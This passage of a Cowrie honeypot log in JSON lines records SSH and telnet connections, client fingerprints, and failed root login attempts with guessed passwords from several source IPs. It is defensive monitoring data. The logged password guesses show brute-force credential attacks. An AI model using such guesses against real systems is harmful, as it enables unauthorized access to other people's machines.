f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:56.819445Z","src_ip":"43.134.142.250","session":"9dfbef0795e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123!@#","message":"login attempt [root/admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:57.831936Z","src_ip":"43.134.142.250","session":"9dfbef0795e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49756,"dst_ip":"10.17.0.5","dst_port":23,"session":"37dcc3f68c42","protocol":"telnet","message":"New connection: 152.42.224.71:49756 (10.17.0.5:23) [session: 37dcc3f68c42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:57.898928Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:48:59.080751Z","src_ip":"43.134.142.250","session":"9dfbef0795e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.398239612579346,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:00.497815Z","src_ip":"152.42.224.71","session":"109463090c49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00324654579163,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:00.645630Z","src_ip":"152.42.224.71","session":"5280d506d681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.70019006729126,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:01.701895Z","src_ip":"152.42.224.71","session":"46bcbbffc6df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.582826137542725,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:07.014777Z","src_ip":"152.42.224.71","session":"2cea83de54e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55828,"dst_ip":"10.17.0.5","dst_port":23,"session":"f79eecb2208e","protocol":"telnet","message":"New connection: 152.42.224.71:55828 (10.17.0.5:23) [session: f79eecb2208e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:08.320377Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55838,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b25acbdd2bf","protocol":"telnet","message":"New connection: 152.42.224.71:55838 (10.17.0.5:23) [session: 7b25acbdd2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:09.979520Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55840,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b4d2e465f2","protocol":"telnet","message":"New connection: 152.42.224.71:55840 (10.17.0.5:23) [session: 81b4d2e465f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:10.078016Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":49510,"dst_ip":"10.17.0.5","dst_port":22,"session":"d37ccc16852a","protocol":"ssh","message":"New connection: 171.244.37.103:49510 (10.17.0.5:22) [session: d37ccc16852a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:10.112587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:10.117471Z","src_ip":"171.244.37.103","session":"d37ccc16852a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:10.365082Z","src_ip":"171.244.37.103","session":"d37ccc16852a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.713677883148193,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:11.298368Z","src_ip":"152.42.224.71","session":"a4d5e6fae119","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Summer123","message":"login attempt [root/Summer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:11.379948Z","src_ip":"171.244.37.103","session":"d37ccc16852a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.497299671173096,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:12.559005Z","src_ip":"152.42.224.71","session":"17fe23379c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:12.627466Z","src_ip":"171.244.37.103","session":"d37ccc16852a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55844,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c890ba922e","protocol":"telnet","message":"New connection: 152.42.224.71:55844 (10.17.0.5:23) [session: e8c890ba922e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:13.320450Z"}
{"eventid":"cowrie.session.closed","duration":49.18905735015869,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:14.387162Z","src_ip":"152.42.224.71","session":"93cffab83441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50456,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ed319bafc02","protocol":"telnet","message":"New connection: 152.42.224.71:50456 (10.17.0.5:23) [session: 6ed319bafc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:17.898693Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50468,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bbac6d4331b","protocol":"telnet","message":"New connection: 152.42.224.71:50468 (10.17.0.5:23) [session: 7bbac6d4331b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:19.416535Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50472,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d09cf71dfed","protocol":"telnet","message":"New connection: 152.42.224.71:50472 (10.17.0.5:23) [session: 5d09cf71dfed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:21.427876Z"}
{"eventid":"cowrie.session.closed","duration":120.00212693214417,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:21.998057Z","src_ip":"152.42.224.71","session":"02eff51bcd9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50476,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd1da2023dc5","protocol":"telnet","message":"New connection: 152.42.224.71:50476 (10.17.0.5:23) [session: dd1da2023dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:23.756809Z"}
{"eventid":"cowrie.session.closed","duration":28.672991275787354,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:26.571792Z","src_ip":"152.42.224.71","session":"37dcc3f68c42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":104.77433967590332,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:29.650344Z","src_ip":"152.42.224.71","session":"33d5fa12b792","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41048,"dst_ip":"10.17.0.5","dst_port":23,"session":"5629e7c0def5","protocol":"telnet","message":"New connection: 152.42.224.71:41048 (10.17.0.5:23) [session: 5629e7c0def5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:35.491442Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38038,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a5ed75b3eb7","protocol":"telnet","message":"New connection: 152.42.224.71:38038 (10.17.0.5:23) [session: 4a5ed75b3eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:36.238205Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38040,"dst_ip":"10.17.0.5","dst_port":23,"session":"7387560396e9","protocol":"telnet","message":"New connection: 152.42.224.71:38040 (10.17.0.5:23) [session: 7387560396e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:36.677901Z"}
{"eventid":"cowrie.session.closed","duration":46.83929920196533,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:37.761735Z","src_ip":"152.42.224.71","session":"8a27e95b9ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36610,"dst_ip":"10.17.0.5","dst_port":22,"session":"22f1f534c352","protocol":"ssh","message":"New connection: 103.15.222.183:36610 (10.17.0.5:22) [session: 22f1f534c352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:40.520434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:40.525503Z","src_ip":"103.15.222.183","session":"22f1f534c352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:40.778048Z","src_ip":"103.15.222.183","session":"22f1f534c352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiopq","message":"login attempt [root/qwertyuiopq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:41.527261Z","src_ip":"103.15.222.183","session":"22f1f534c352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":41694,"dst_ip":"10.17.0.5","dst_port":22,"session":"f139f23322ec","protocol":"ssh","message":"New connection: 79.117.24.180:41694 (10.17.0.5:22) [session: f139f23322ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:42.183947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:42.188963Z","src_ip":"79.117.24.180","session":"f139f23322ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:42.304283Z","src_ip":"79.117.24.180","session":"f139f23322ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:42.779358Z","src_ip":"103.15.222.183","session":"22f1f534c352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy321","message":"login attempt [root/deploy321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:42.796934Z","src_ip":"79.117.24.180","session":"f139f23322ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:43.915148Z","src_ip":"79.117.24.180","session":"f139f23322ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.754637956619263,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:45.074959Z","src_ip":"152.42.224.71","session":"e8c890ba922e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50240,"dst_ip":"10.17.0.5","dst_port":23,"session":"18a345226e5a","protocol":"telnet","message":"New connection: 152.42.224.71:50240 (10.17.0.5:23) [session: 18a345226e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:51.130356Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50244,"dst_ip":"10.17.0.5","dst_port":23,"session":"96868f565ac0","protocol":"telnet","message":"New connection: 152.42.224.71:50244 (10.17.0.5:23) [session: 96868f565ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:54.012971Z"}
{"eventid":"cowrie.session.closed","duration":34.87005352973938,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:54.286476Z","src_ip":"152.42.224.71","session":"7bbac6d4331b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.179940938949585,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:49:58.257817Z","src_ip":"152.42.224.71","session":"81b4d2e465f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38682,"dst_ip":"10.17.0.5","dst_port":23,"session":"085273ea6cd1","protocol":"telnet","message":"New connection: 152.42.224.71:38682 (10.17.0.5:23) [session: 085273ea6cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:02.272573Z"}
{"eventid":"cowrie.session.closed","duration":52.63146090507507,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:02.610843Z","src_ip":"152.42.224.71","session":"7b25acbdd2bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.91167640686035,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:02.668380Z","src_ip":"152.42.224.71","session":"dd1da2023dc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.28021788597107,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:04.410452Z","src_ip":"152.42.224.71","session":"18a345226e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.520232677459717,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:04.792670Z","src_ip":"152.42.224.71","session":"085273ea6cd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57672,"dst_ip":"10.17.0.5","dst_port":23,"session":"b398d8150c39","protocol":"telnet","message":"New connection: 152.42.224.71:57672 (10.17.0.5:23) [session: b398d8150c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:07.610174Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.63.254","src_port":44532,"dst_ip":"10.17.0.5","dst_port":22,"session":"14b04c6d57d4","protocol":"ssh","message":"New connection: 43.156.63.254:44532 (10.17.0.5:22) [session: 14b04c6d57d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:08.582348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:08.587157Z","src_ip":"43.156.63.254","session":"14b04c6d57d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":46530,"dst_ip":"10.17.0.5","dst_port":22,"session":"e42e84353c47","protocol":"ssh","message":"New connection: 89.108.118.91:46530 (10.17.0.5:22) [session: e42e84353c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:08.595760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:08.600653Z","src_ip":"89.108.118.91","session":"e42e84353c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:08.741154Z","src_ip":"89.108.118.91","session":"e42e84353c47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:08.828321Z","src_ip":"43.156.63.254","session":"14b04c6d57d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00199484825134,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:08.919035Z","src_ip":"152.42.224.71","session":"d807dac1261d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567!","message":"login attempt [root/1234567!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:50:09.152409Z","src_ip":"89.108.118.91","session":"e42e84353c47","protocol":"ssh"}
